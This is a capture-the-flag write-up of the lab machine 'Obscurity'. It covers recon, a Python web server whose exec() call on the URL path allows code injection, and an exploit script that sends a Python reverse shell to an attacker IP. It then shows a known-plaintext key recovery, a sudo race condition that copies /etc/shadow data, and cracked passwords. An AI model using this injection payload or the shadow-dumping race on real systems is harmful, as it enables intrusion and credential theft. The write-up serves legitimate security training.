Obscurity Write-up


Nmap scan provides:

22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Mon, 30 Mar 2020 14:31:13
|     Server: BadHTTPServer
|     Last-Modified: Mon, 30 Mar 2020 14:31:13
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!-- 
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener

Browsing the page at, I found a note for developers saying:

Server Dev

Message to server devs: the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory.

To find the corresponding directory, I guess gobuster could work but since we have the name of the file, I’m adopting a slightly different approch by using wfuzz with wordlists from dirb instead of dirbuster since it’s an orange box.

$ wfuzz -t20 -w /usr/share/dirb/wordlists/big.txt --hc 404 -u

That gave away the develop directory and the content of the SuperSecureServer.py is

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}

class Response:
    def __init__(self, **kwargs):
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        while True:
            client, address = self.sock.accept()
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    raise error('Client disconnected')
                return False
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
        body = document["body"]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"

        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body

        data = resp.stringResponse()
        if not data:
            return -1
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                    with open(requested, "r") as f:
                        data = f.read()
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

I immediately spotted the exec function call near:

            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?

We can do a RCE with it! We just need to provide the command as part of the request path like we do with SQL Injection. Note that we need to close the single quote opened just before Document: then we can chain any command. We finish by making a random string assignation to match the end quote. I tried directly to obtain a reverse python shell appending the code to index.html'; in the path and of course, all URL encoded. I put it all in a script so I can recall how I did it next time.

#!/usr/bin/env python3
import requests
import urllib

URL = ''

path = '/index.html\';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_address>",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);a=\''
payload = urllib.parse.quote(path)
requests.get(URL + payload)

And I caught a shell first try this time! NICE!

User Flag (Lateral Movement)

Exploring around the /var directory, I didn’t found anything interesting. After jumping to the robert home dir, I found a bunch of stuff.

$ ls -la /home/robert
lrwxrwxrwx 1 robert robert    9 Sep 28  2019 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr  4  2018 .bashrc
drwxr-xr-x 2 root   root   4096 Dec  2 09:47 BetterSSH
drwx------ 2 robert robert 4096 Oct  3  2019 .cache
-rw-rw-r-- 1 robert robert   94 Sep 26  2019 check.txt
drwxr-x--- 3 robert robert 4096 Dec  2 09:53 .config
drwx------ 3 robert robert 4096 Oct  3  2019 .gnupg
drwxrwxr-x 3 robert robert 4096 Oct  3  2019 .local
-rw-rw-r-- 1 robert robert  185 Oct  4  2019 out.txt
-rw-rw-r-- 1 robert robert   27 Oct  4  2019 passwordreminder.txt
-rw-r--r-- 1 robert robert  807 Apr  4  2018 .profile
-rwxrwxr-x 1 robert robert 2514 Oct  4  2019 SuperSecureCrypt.py
-rwx------ 1 robert robert   33 Sep 25  2019 user.txt

As expected, the user flag is not readable by www-data but what we can read is an encrypted password reminder text file and the python script used to encrypt it. Also we have two text files representing a cleartext and its cipher using the script.
From my experience with crypto challenges, sometimes when you face a symetric encryption based on “character masking” like xor, ordinal addition, …, decrypting the encrypted text using the cleartext as the key gives the key used during the encryption. I bet their is a term in crypto for such ciphers but I don’t know it by now. So I tried aaaaaaaannnndddd it works, I GOT LUCKY.

$ python3 SuperSecureCrypt.py -i out.txt -o key.txt -k "Encrypting this file with your key should result in out.txt, make sure your key is correct!" -d
$ cat key.txt

Using the same process on the passwordreminder.txt file with our new key gives SecThruObsFTW.
All we have to do now is spawn a TTY shell and switch to user robert.

[email protected]:/home/robert$ python3 -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/home/robert$ su robert
Password: SecThruObsFTW
[email protected]:~/BetterSSH$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),4(adm),24(cdrom),30(dip),46(plugdev)

Root Flag (Privilege Escalation)

sudo -l shows we can execute sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py. That’s probably the secure replacement to SSH they were talking about in their homepage.

Reading the script, it seems that it dumps part of the /etc/shadow file in a temp file in /tmp/SSH folder, checks if the user is in the dump with the corresponding password before deleting that temp file. It became clear we need to have a look at that temp file before it gets deleted. In a nutshell, a race!
Using the watch command, let’s concatenate in a new session the content of whatever file inside the /tmp/SSH folder to a custom file.

# ================== Session 1 =====================
[email protected]:/$ mkdir /tmp/rkhu
[email protected]:/$ mkdir /tmp/SSH
[email protected]:/$ watch -d -p -n 0.01 cp /tmp/SSH/* /tmp/rkhu/

# ================== Session 2 =====================
[email protected]:/$ cd /tmp/rkhu
[email protected]:/tmp/rkhu$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
Enter password: something
Incorrect pass
[email protected]:/tmp/rkhu$ ls
[email protected]:/tmp/rkhu$ cat gGFkGpb8

And there is the root hash! Pass it to hashcat and it produces the password mercedes.

Congratulations, you just rooted the box.

Mamadou L. NIANG
Mamadou L. NIANG
Cybersecurity Consultant

Senior Java developer mainly around Spring and now, on my way to being a professional pentester.I love learning plenty of stuff and sometimes breaking them.

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